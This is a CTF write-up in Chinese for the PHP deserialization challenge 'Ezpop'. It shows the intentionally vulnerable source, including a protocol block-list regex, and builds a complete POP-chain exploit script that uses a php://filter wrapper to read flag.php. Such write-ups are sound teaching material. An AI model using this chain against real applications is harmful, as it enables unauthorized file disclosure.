Ezpop

<?php
//flag is in flag.php
//WTF IS THIS?
//Learn From https://ctf.ieki.xyz/library/php.html#%E5%8F%8D%E5%BA%8F%E5%88%97%E5%8C%96%E9%AD%94%E6%9C%AF%E6%96%B9%E6%B3%95
//And Crack It!
class Modifier {
    protected  $var;
    public function append($value){
        include($value);
    }
    public function __invoke(){
        $this->append($this->var);
    }
}

class Show{
    public $source;
    public $str;
    public function __construct($file='index.php'){
        $this->source = $file;
        echo 'Welcome to '.$this->source."<br>";
    }
    public function __toString(){
        return $this->str->source;
    }

    public function __wakeup(){
        if(preg_match("/gopher|http|file|ftp|https|dict|\.\./i", $this->source)) {
            echo "hacker";
            $this->source = "index.php";
        }
    }
}

class Test{
    public $p;
    public function __construct(){
        $this->p = array();
    }

    public function __get($key){
        $function = $this->p;
        return $function();
    }
}

if(isset($_GET['pop'])){
    @unserialize($_GET['pop']);
}
else{
    $a=new Show;
    highlight_file(__FILE__);
}

经典的反序列化链题,整个链子利用规律比较明显,题目也比较有意思,毕竟自己之前没有挖过几条完整的链子。

回顾一下反序列化的函数:

__construct()//当一个对象创建时被调用
__destruct() //当一个对象销毁时被调用
__toString() //当一个对象被当作一个字符串使用
__sleep()//在对象在被序列化之前运行
__wakeup()//将在反序列化之后立即被调用(通过序列化对象元素个数不符来绕过)
__get()//获得一个类的成员变量时调用
__set()//设置一个类的成员变量时调用
__invoke()//调用函数的方式调用一个对象时的回应方法
__call()//当调用一个对象中的不能用的方法的时候就会执行这个函数
class Modifier {
    protected  $var;
    public function append($value){
        include($value);
    }
    public function __invoke(){
        $this->append($this->var);
    }
}

首先是Modifier类,这里有个包含文件的操作,于是推测这里可以包含flag.php文件:

class Modifier {
    protected  $var = 'php://filter/read=convert.base64-encode/resource=flag.php';

}
$modifier = new Modifier();

如果要调用append()函数,需要调用__invoke(),该函数在对象被通过函数的方式调用时调用。于是可以很容易找到这样的类。

class Test{
    public $p;
    public function __construct(){
        $this->p = array();
    }

    public function __get($key){
        $function = $this->p;
        return $function();
    }
}

Test类的魔术方法__get传入动态变量调用函数,如果这时传入的函数$function变量为Modifier类,就可以调用__invoke。可以这样构造链:

class Modifier {
    protected  $var = 'php://filter/read=convert.base64-encode/resource=flag.php';

}
class Test{
    public $p;
}
$modifier = new Modifier();
$test = new Test();
$test->p = $modifier;

之后就是找可以调用Test类的__get魔术方法的类了。

class Show{
    public $source;
    public $str;
    public function __construct($file='index.php'){
        $this->source = $file;
        echo 'Welcome to '.$this->source."<br>";
    }
    public function __toString(){
        return $this->str->source;
    }

    public function __wakeup(){
        if(preg_match("/gopher|http|file|ftp|https|dict|\.\./i", $this->source)) {
            echo "hacker";
            $this->source = "index.php";
        }
    }
}

Show类中有两个魔术方法,那么主要看__toString()函数,该函数最终return $this->str->source。这边比较绕,思路也很巧妙,__wakeup()函数对$this->source进行了参数过滤,其中将$this->source当做字符串,如果$sourceShow类型变量,那么就会触发类的__toString,该构造链就可以构造成功了。所以我们需要创建一个Show变量,用$Show->source存储另一个Show类变量,该变量的$str变量为Test变量,调用该变量的$source变量(尽管为空),触发__get方法。

我们先创建一个Show类型的变量,存储$test变量。

<?php
class Modifier {
    protected  $var = 'php://filter/read=convert.base64-encode/resource=flag.php';
}

class Show{
    public $source;
    public $str;
}

class Test{
    public $p;
}

$modifier = new Modifier();
$test = new Test();
$test->p = $modifier;
$show1 = new Show();
$show1->str=$test;

接着创建第二个Show类型的变量,将之前创建的Show变量作为Source:

$show2 = new Show();
$show2->source=$show1;

然后反序列化可解。

<?php
class Modifier {
    protected  $var = 'php://filter/read=convert.base64-encode/resource=flag.php';
}

class Show{
    public $source;
    public $str;
}

class Test{
    public $p;
}

$modifier = new Modifier();
$test = new Test();
$test->p = $modifier;
$show1 = new Show();
$show1->str=$test;
$show2 = new Show();
$show2->source=$show1;
echo urlencode(serialize($show2));

Last updated